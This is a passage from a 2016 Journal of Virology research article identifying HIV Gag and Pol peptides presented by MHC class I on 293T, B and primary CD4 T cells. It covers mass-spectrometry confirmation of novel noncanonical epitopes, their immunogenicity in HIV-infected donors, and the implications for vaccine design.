Allelic distribution of identified surface HIV peptides.293T cells express HLA-A02/02, B07/07, and Cw07, while cells of the B cell line express HLA-A01/32, B27/57, and Cw06 and the primary CD4 T cells were HLA-A02+. We assessed the presence of anchor residues for the corresponding HLA supertypes (A2, B7, A1, B27, and B58). While canonical 9- and 10-mers presented by various HLA supertypes are well defined by the presence of anchor residues at positions 2 and C-terminal Ω (26), it is more difficult to assign anchors to longer peptides. To identify prevalent residues (or the Sequence Logo) specific for HIV sequences, we aligned all known HIV epitopes from the Los Alamos National Laboratory (LANL) HIV database (27). For HLA-A02 and B07 residues at P2 and PΩ of HIV, 8-, 9-, and 10-mers matched the corresponding supertypes (26) as follows: leucine at P2 and leucine or valine at PΩ for the HLA-A2 supertype and proline at P2 and leucine at PΩ for the HLA-B7 supertype (26) (Fig. 4A). HLA-A01-, B27-, and B57-restricted epitopes (but not HLA-A32 or -C peptides) showed anchor specificity for 9-mers (data not shown). A02- or B07-restricted HIV 11-mer epitopes in the LANL database showed specificity at P2 and, to a lower extent, at P9 for A02 and at P10 and PΩ for B07 (data not shown). No anchor specificity was identified for HIV 11-mers of the other HLA types or for peptides consisting of >11 aa (data not shown).

FIG 4

Allelic distribution of identified MHC class I-associated HIV peptides. (A) HIV-specific logo displaying 9-mer peptide binding motifs for HLA-A02 and B07. The height of each column of letters is equal to the information content (in bits) at the given position in the binding motif. The relative heights of the letters within each column are proportional to the frequencies of the corresponding residue at that position. Position Ω refers to the C-terminal residue in the peptide. (B) Allelic distribution of HIV peptides identified on 293T-HIV and B-MDC-HIV and CD4T-HIV based on Logo binding motifs specific for the corresponding HLA molecules. Peptides are listed on the basis of a match for both anchors of HLA (HLA-matched, red), a match at position 2 or Ω (pink), or no match (blue). Examples of surface HIV peptides with 2, 1, or no matched anchors (red letters) are listed. (C) HIV-1-specific 9-mer peptide motifs characteristic of unknown HLA class I binding. (D) Allelic distribution of HIV peptides after analysis of partly matched or unmatched peptides for additional anchors identified by WebLogo as indicated in panel C.

We first analyzed the presence of these specific anchors in identified surface HIV peptides of the three cell types according to their corresponding HLA types. A total of 21% to 30% of peptides matched both anchors of one HLA of the cells, while 50% to 65% matched only one anchor (either P2 or PΩ). A total of 13% to 20% did not match any anchor (Fig. 4B). We used WebLogo for further alignment of all remaining LANL HIV epitopes of 8 to 14 aa for which no HLA has been assigned to identify potential Sequence Logo motifs. HIV epitopes of unassigned HLA in the LANL database showed enrichment in residues at positions 2, 6, and 9 for 9-mers (Fig. 4C), and at positions 1, 7, and 10 for 11-mers (data not shown,). Such anchor specificity was applied to further characterize P2-only or Ω-only matching or nonmatching HIV surface peptides. More than 50% of peptides of all lengths identified at the surface of 293T-HIV cells or B-MDC-HIV cells were matched for both anchors, and >40% were matched for at least one anchor (Fig. 4D). The partially mismatched anchor residues of some surface peptides may correspond to HLA-C or to potential as-yet-undefined anchors or may be due to the coisolation of MHC-II peptides. The presence of partially mismatched anchor residues is in accordance with findings from the large data sets of self-derived peptides on B cells (68, 30, 31). These data call for a more detailed characterization of motifs defining the binding of peptides of any length to various HLA alleles and of the role of HLA binding promiscuity of long peptides in the establishment of broad T cell responses (32, 33).

HIV peptides isolated from HLA-A02 confirm the identification of noncanonical previously unreported HIV peptides.Peptides isolated from live cells may include MHC-I- and MHC-II-bound peptides. To confirm the presentation of noncanonical peptides by MHC-I, we assessed whether HIV peptides isolated from live HLA-A02+ cells could be identified from purified HLA-A02–peptide complexes. Peptides were identified with a LC-MS3 approach developed for the identification of low-abundance peptides adapted from reference 23. In this targeted approach, the MS/MS multiple fragmentation spectra generated by a synthetic version of a peptide of interest are compared to the MS/MS spectra of all endogenously processed and presented peptides eluted from HLA-A02 displayed by mock-infected or HIV-infected cells (23).

We selected two noncanonical HIV peptides—KF13 (KIWPSHKGRPGNF) in Gag p15 and EY11 (EPFRDYVDRF) in Gag p24—that we had identified by direct elution from live HIV+ HLA-A02+ 293T cells and primary CD4 T cells (Table 1 and 2). HLA-A02–peptide complexes were purified by immunoaffinity from lysates of 293T control cells (293C) or transfected with NL4-3 provirus (293T-HIV) as described in reference 22. For each HIV peptide, we deconvoluted elution profiles and analyzed the chromatographic profiles during the ion transition of several fragments of the peptides, for instance, y102+ (508.61/548.79), y112+ (508.61/641.82), and y122+ (508.61/698.37) detected for HLA-A02 eluted KF13-KIWPSHKGRPGNF peptide and its synthetic counterpart (Fig. 5A). The extracted-ion chromatograms for all transitions detected for HLA-A02 eluted KF13-KIWPSHKGRPGNF peptide displayed profiles matching those obtained for the KF13 synthetic counterpart (Fig. 5A; top and bottom halves of each graph). Panels B and C of Fig. 5 show two examples of ion transitions of KF13 matching between the HLA-A02 peptide (top half of the graph) and its synthetic counterpart (bottom half). The retention time, the extracted-ion chromatograms, and the MS3 spectrum fingerprint for all transitions in HLA-A02-eluted KF13 peptides displayed a profile matching those of the corresponding synthetic peptides. This confirms that KF13, which we identified by direct elution of HLA-A02 293T and CD4 T cells, is a potential novel naturally processed HIV epitope of noncanonical length presented by HLA-A02. Similarly, the extracted-ion chromatograms for all transitions of HLA-A02-eluted EY11-EPFRDYVDRFY peptide displayed profiles matching those of the EY11 synthetic counterpart (Fig. 5D to F). There were no ion chromatogram matches between HIV synthetic peptides and HLA-A02-eluted peptides of control 293T cells (data not shown). These data demonstrate that HIV Gag peptides KF13 and EY11 were naturally processed and presented by HLA-A02. The identification of HIV Gag EY11 and KF13 peptides by direct elution at the surface of 293T cells and HLA-A02 primary CD4 T cells (Table 1 and 2) and from purified HLA-A02 (Fig. 5) provides a strong rationale for our direct elution approach, specifically for primary samples with limited numbers of cells. These peptides did not correspond to known HIV epitopes. Gag p24 EY11 is one residue longer than the previously reported HLA-A02-restricted EF10 (25), and Gag p15 KF13 is a novel noncanonical peptide not predictable through screening of HLA-A02 anchors due to its length. Taken together, these data support the direct identification of peptides endogenously processed and displayed by HIV-infected cells to determine the most relevant targets for immune recognition in vaccine strategies.

FIG 5

Targeted nanoLC-MS3 detection of new noncanonical HIV Gag peptides presented by HLA-A02. Peptides were eluted from membrane-purified HLA-A02 of control 293T cells or HIV-transfected 293T cells. HIV Gag p15 KF13-KIWPSHKGRPGNF (left panels) and Gag-p24-derived EY11-EPFRDYVDRFY (right panels) were assessed by a targeted nanoLC-MS3 approach. Basically, MS/MS spectra of the naturally presented HLA-A02 peptides eluted of 293T-C or 293T-HIV cells were compared to MS/MS spectra of KF13 and EY11, the synthetic peptides of interest. (A) Extracted-ion chromatogram for transitions y102+ (508.61/548.79; red), y112+ (508.61/641.82; blue), and y122+ (508.61/698.37; green) detected for HLA-A02-eluted KF13-KIWPSHKGRPGNF peptide (IP sample; top half of the graph) and its synthetic counterpart (Synthetic peptide; bottom half of the graph). (B and C) The MS3 spectrum for transitions y102+ (508.61/548.79) in panel B and y112+ (508.61/641.82) in panel C corresponding to detected HLA-A02-eluted KF13 peptide (red, top half) and its synthetic counterpart (black, bottom half). (D) Extracted-ion chromatogram for transitions MH-H2O3+ (502.90/496.90, yellow), b5-H2O (502.90/627.29, blue), y102+ (753.85/689.33, green), and MH-H2O2+ (753.85/744.85, red) detected for HLA-A02-eluted EY11-EPFRDYVDRFY peptide (IP sample, top half) and its synthetic counterpart (Synthetic peptide, bottom half). (E and F) MS3 spectrum for transition b5-H2O (502.90/627.29) in panel E and MH-H2O2+ (753.85/744.85) in panel F corresponding to detected HLA-A02-eluted EY11 peptide (red, top half) and its synthetic counterpart (black, bottom half). Ion chromatogram matches between synthetic KF13 or EY11 and HLA-A02-eluted peptides were not observed with control 293T cells (not shown). Data are representative of results of two independent HIV transfections and HLA-A02–peptide isolation and of duplicate targeted nanoLC-MS3 runs and analysis for each experiment.

Peptides eluted from live cells identify additional HIV-specific T cell responses in chronic HIV infection.We tested the immunogenicity of 23 of the identified surface HIV peptides 8 to 16 aa in length in HIV-infected persons. They included 19 Gag-derived peptides (4 in p17, 5 in p24, and 10 in p15) and 4 Pol-derived peptides (1 protease, 2 RT, and 1 integrase). They consisted of 2 optimal epitopes, 10 peptides overlapping with known epitopes (N and/or C extended), and 11 peptides that did not correspond to known HIV epitopes (Fig. 6A). Their immunogenicity was tested by Elispot assays performed on PBMC from 5 HIV-negative donors and from 24 HIV+ HLA-matched (Fig. 6B) and 3 HIV+ HLA-mismatched (Fig. 6C) chronically infected donors. No response was detected in HIV-negative donors (not shown). HLA-matched HIV donors covered 48 distinct HLAs, and each donor shared 1 to 4 HLA with one of the three cell types. A total of 19 (80%) of 23 peptides were immunogenic in at least one HLA-matched donor (Fig. 6B and E). As commonly observed in HIV-infected persons (32), HIV peptides activated T cell responses of magnitudes ranging from 200 to 2,500 spots per million PBMC as illustrated for 5 HLA-matched donors in Fig. 6B and all 23 donors in Fig. 6E. Peptides yielding the highest magnitude of T cell responses in HLA-matched donors included 4 known epitopes from the LANL database (B57-ISW9 [ISPRTLNAW in p24], interleukin-10 [IL-10] [IEIKDTKEAL in p17], MV9 [MTNNPPIPV in p24], and IL-9 [IEELRQHLL in RT]) and two potential new epitopes, AT9 (AVNPGLLET in p17) and VM8 (VTNPATIM in p15). FF16 (FLGKIWPSHKGRPGNF) in p15 eluted from HLA-A02 293T and CD4 T cells elicited responses in the highest number of tested HLA-matched donors (10 of 23) due to the higher frequency of HLA-A02 (or Cw07) and/or the presence of potential additional epitopes presentable by other HLAs. AQ14 (ASLRSLFGSDPSSQ) and GF14 (GKIWPSHKGRPGNF) contained within FF16 in p15 elicited responses in HLA-mismatched donors (Fig. 6C and E). These peptides may correspond to MHC-II epitopes or could be presented by HLA for which anchors are not well defined such as Cw08. A total of 20% of Gag peptides showed no immunoreactivity in tested HIV-1-infected individuals, which may correspond to weak and infrequent cytotoxic T lymphocyte (CTL) responses or to memory CTL responses not detectable ex vivo. Taken together, 50% of the responses corresponded to potentially novel epitopes, mostly in p15. Among these novel responses, 30% were elicited by longer, noncanonical sequences.

FIG 6

Immunogenicity of identified HIV-derived peptides. (A) Sequences of Gag- and Pol-derived peptides selected for immunogenicity assessment and N or C extension (N+ or C+) or truncation (N− or C−) relative to known class I CTL HIV epitopes. (B) HIV-specific T cell responses in HLA-matched HIV-1-infected donors. Matching HLAs are underlined. Stars correspond to responding peptides matching one HLA of the donor. (B and C) HIV-specific T cell responses in HLA-matched (B) and HLA-mismatched (C) HIV-1-infected donors. (E and F) Summary of the T cell responses with identified HIV-derived peptides in HLA-matched (E) and HLA-mismatched (F) HIV-1 donors. Peptide names and proteins of origin are listed.

Cytosolic degradation of precursors demonstrates common and cell type-specific production of HIV peptides.To validate the identification of new epitopes or of common and cell-specific peptides, we analyzed the cytosol processing of HIV peptides from longer precursors in each cell type. We used a degradation assay and cytosolic extracts that included all peptidases or regulatory proteins of each cell type (18). This assay enabled us to show the variable and asynchronous-kinetics production of overlapping HIV epitopes leading to variable killing efficiency of target cells (18) and the cell type-specific differences in degradation patterns and epitope production (19, 34).

Long p15 peptide precursors containing surface peptides were degraded in cytosolic extracts from each cell type. The degradation peptides generated in 30 to 120 min were identified by high-resolution LC-MS/MS (Fig. 7). Figure 7A illustrates the degradation patterns of a 24-mer (p15-115-24mer in Gag p15) in cytosol from CD3/28-activated CD4 T cells, showing the production of multiple peptides, including the 11 peptides detected at the surface of CD4 T cells. We analyzed the degradation of 4 Gag peptides (p15-114-24mer [Fig. 7A] and [p15-1-24mer, p15-86-25mer, and p15-64Q-24mer; degradations not shown]) containing 20 identified surface HIV-derived peptides (Table 3). A total of 83% (29/35) of surface peptides were produced at at least one time point. The differences in kinetics are in accordance with the asynchronous production of HIV epitopes that we previously reported (18, 34).

FIG 7

The surface HIV-derived peptides identified originated from their intracellular precursors. (A) Comparison of surface HIV peptides identified on CD4T-HIV with peptides generated by in vitro cytosolic degradation of precursor Gag-p15-114-24m. Each bar represents a peptide. (B) HIV-derived peptides generated during the degradation of Gag-p15-114-24m in 293T cells, B-MDC cells, and primary CD4 T cells are presented in a Venn diagram to identify common and cell type-specific peptides. (C) Degradation patterns of Gag-p15-114-24m, indicating frequencies of N-terminal (top) and C-terminal (bottom) cleavage sites seen during degradation in 293T cells (blue), B-MDC cells (green), and primary CD4 T cells (red). Surface peptides isolated from 293T cells (blue), B-MDC cells (green), and primary CD4 T cells (red) are indicated with plain lines, and matched cytosolic degradation peptides produced in extracts from all 3 cell types are indicated as pound signs of identical color codes. (D) Results of a similar analysis performed after 120 to 240 min of cytosolic degradation of Gag-p15-114-24m.

TABLE 3

Surface HIV-derived peptides identified in CD4T-HIV originated from their intracellular precursorsa

Since we identified common and cell type-specific surface peptides, we compared the degradation results determined for p15-115-24mer in extracts from 293T cells (blue), B cells (green), or primary CD4 T cells (red). The degradation generated 93 to 103 peptides in each cell subset, among which 72% to 76% were common to all three cell types and 8% to 18.6% were unique to each cell type (Fig. 7B). We quantified the relative amount of each degradation fragment by measuring the contribution of each peptide to the total intensity of all degradation fragments determined by MS analysis as described in references 21 and 28. We displayed the relative amounts of peptides starting at any N-terminal residue or ending at any C-terminal residue (top and bottom bars, respectively, of Fig. 6C and D), thus showing the relative frequencies of cleavage sites in the 24-mer after 30 to 240 min of degradation in 293T cells (blue), B cells (green), or CD4 T cells (red) (Fig. 7C and D). While some cleavage sites were shared among all three cell types, some, such as the cleavage at P position 9 in 293T, appeared uniquely in one cell subset and increased in abundance over time. The cell type-specific degradation patterns are in accordance with our previous findings (19, 28, 34). While some peptides such as AQ14 (ASLRSLFGSDPSSQ) were produced in extracts from all three cell types and displayed by all of them, others such as RQ11 (RSLFGSDPSSQ) were produced by all subsets but displayed by only one or two cell types, showing that the presentation of these peptides is limited not by cell type-specific production but rather by the HLAs of the cells. In contrast, some peptides such as PL8 (PLASLRSL) or PS14 (PLASLRSLFGSDPS) in CD4 T cells were uniquely produced and displayed by one cell type, suggesting that surface peptide display can be shaped by both the antigen-processing machinery of the cell type and the HLA haplotypes.

DISCUSSION

Despite its critical role for immune recognition and vaccine immunogen design, the landscape of HIV peptides naturally presented by infected cells is not well defined. In this study, we identified surface HIV-derived peptides from transfected or infected cell types and identified common nested sets of peptides and new HIV-specific immune responses.

We analyzed surface peptides directly eluted from live cells, as this procedure requires fewer cells and is applicable to clinically relevant primary cells, and confirmed the presentation of longer peptides by specifically analyzing HLA-A02-bound peptides. We compared HIV peptides displayed by transfected 293 T cells, which follow HIV protein expression from the provirus, B cells infected with nonreplicative endocytosed HIV-VSVg, and primary CD4 T cells where HIV can enter by fusion or endocytosis and propagate. While 293T cells and CD4 T cells share HLA-A02, the three cell types covered a diversity of HLAs reflective of the HLA diversity of the population. Despite this diversity, the majority of peptides were derived from Gag, which reflects the larger amount of Gag present both in incoming virions and in neosynthesized particles and is in accordance with the distribution of HIV peptides reported in other studies (9, 17). The second-most-abundant protein presented by all three cell types was Pol, whereas Nef and Env were the proteins that were the second most sampled by soluble HLA-A11 in reference 9 and by CD4 T cells in reference 17, respectively. The lesser presentation of proteins other than Gag may reflect the smaller amount of protein expression and/or limited presentation of these epitopes. Differences among studies in protein distribution of peptides outside Gag may reflect differences in experimental systems and HLA selection. Interestingly, despite the HLA diversity, some areas of Gag, specifically, in p15, were well presented by all cell types in all three studies, suggesting that these protein areas may constitute immune targets for immune design. Preliminary experiments to purify specific MHC-peptide complexes identified low-abundance peptides and confirmed the identification of several optimal MHC-I epitopes, including some optimal Nef epitopes (data not shown).

Although additional studies at multiple time points are needed to determine how HIV epitope presentation evolves over time, data from other viral infections point toward a dynamic presentation of viral peptides. The presentation of vaccinia virus-derived peptides over 12 h (15) and the presentation of both modified vaccinia Ankara (MVA) peptides and HIV peptides from Jurkat cells infected with MVA expressing HIV protein fragments followed during 6 h (16) showed variations in epitope presentation over time. While peptide presentation was linked to protein expression (15, 16), defective translation products (defective ribosomal products [DRiPs]) may also contribute to various extents to the pool of MHC-I peptides displayed by cells (3537).

Other factors contributing to variability in epitope presentation are the kinetics of degradation of proteins into epitopes (4), the affinity of degradation peptides for binding to TAP (transporter associated with antigen processing) and translocation into the endoplasmic reticulum (ER), their trimming by ER aminopeptidases, and their affinity for MHC-I (38). The degradation of HIV proteins with cellular extracts or purified proteases leads to asynchronous production of nested peptides (18, 3840). The degradation patterns of HIV proteins differ across and within proteins. Certain areas within proteins produce more peptides that are 8 to 11 aa in length and are compatible with MHC-I loading, while others tend to produce longer or shorter peptides (references 18, 34, 39, and 40 and unpublished data). Different cell types such as CD4 T cells and monocytes present various levels of cellular peptidase activities which modify degradation patterns, timing, and amounts of epitopes (19, 34, 41). These differences may contribute to variations in HIV protein sampling by MHC. While protein degradation patterns shape the availability and kinetics of presentation, the combination of HLAs selects the peptides displayed in a given individual.

This MHC-peptidome study and others in viral infections (9, 15, 16) or in B cell lines (30, 4245) identified clusters of nested peptides. They include optimal epitopes as well as N- and/or C-extended peptides potentially presentable by several HLAs. The identification of novel noncanonical peptides from purified HLA-A02 confirmed the presentation of extended HIV peptides. While surface HIV 9-mers were enriched for anchor residues matching the cell HLA types (26), longer surface peptides were not as clearly matched for HLA anchors. The large set of self-derived peptides from B cell lines identified not only N-extended but, most surprisingly, C-terminally extended MHC peptides with a preference for N or C extension that varied with the HLA type (30). Determination of how long peptides, specifically, C-extended peptides, are loaded onto MHC-I, are displayed at the cell surface, and bind to TCR will require structural analysis. These longer peptides were immunogenic in HLA-matched donors and possibly promiscuously presented by several HLAs. However, whether different TCR clonotypes in HIV-infected individuals equally recognize these peptide sets remains to be determined (46). We identified few optimal subdominant or immunodominant epitopes, including one, Gag p24 B57-ISW9, with lower accuracy suggestive of a smaller amount of MHC-bound peptides. The presentation of vaccinia virus epitopes also showed a lack of correlation between the amount of peptides presented by infected cells and immunodominance (15). The identification of a higher number of peptides from Gag p15 than from the most immunogenic instance of p24 or p17 (25) points toward discrepancies between epitope presentation and the immunodominance, breadth, or magnitude of the T cell responses established in HIV infection. Although it is easier to detect immune responses to conserved proteins such as p24 in cohorts of HIV-infected persons, the discrepancies between the abundance of p15 MHC-bound peptides and the lesser density of p15-specific immune responses in HIV infection cannot be solely explained by the degree of conservation of these HIV Gag subproteins. Gag p15 is, on average, as conserved as Gag p17 but less conserved than p24 and contains both highly and poorly conserved subproteins (47). Yet Gag p15-derived MHC-bound peptides are far more abundant than p17-derived peptides. The data collected so far on the HIV immunopeptidome suggest that immune responses elicited during natural infection may not be adequately adapted to the detection of peptides displayed by infected cells. Vaccination strategies may need to induce and direct immune responses to HIV protein areas widely presented by diverse HLAs and to be able to efficiently nest peptides, including those of noncanonical lengths from Gag p15. This study identified novel T cell immune responses and areas of HIV proteins presented by several cell types with distinct MHC-I alleles. The unbiased identification of HIV peptides naturally processed and presented by infected cells through multiple HLAs may contribute to improve vaccine design by defining the most relevant targets for immune recognition in the context of HLA diversity.

ACKNOWLEDGMENTS

We have no conflicts of interest.

We thank H. Su for help with the development of in-house macros used to map epitopes and many colleagues for helpful discussions.

FOOTNOTES

    • Received 30 March 2016.
    • Accepted 13 July 2016.
    • Accepted manuscript posted online 20 July 2016.
  • Address correspondence to Sylvie Le Gall, sylvie_legall{at}hms.harvard.edu.
  • J.B. and R.B. contributed equally to this article.

  • Citation Rucevic M, Kourjian G, Boucau J, Blatnik R, Garcia Bertran W, Berberich MJ, Walker BD, Riemer AB, Le Gall S. 2016. Analysis of major histocompatibility complex-bound HIV peptides identified from various cell types reveals common nested peptides and novel T cell responses. J Virol 90:8605–8620. doi:10.1128/JVI.00599-16.

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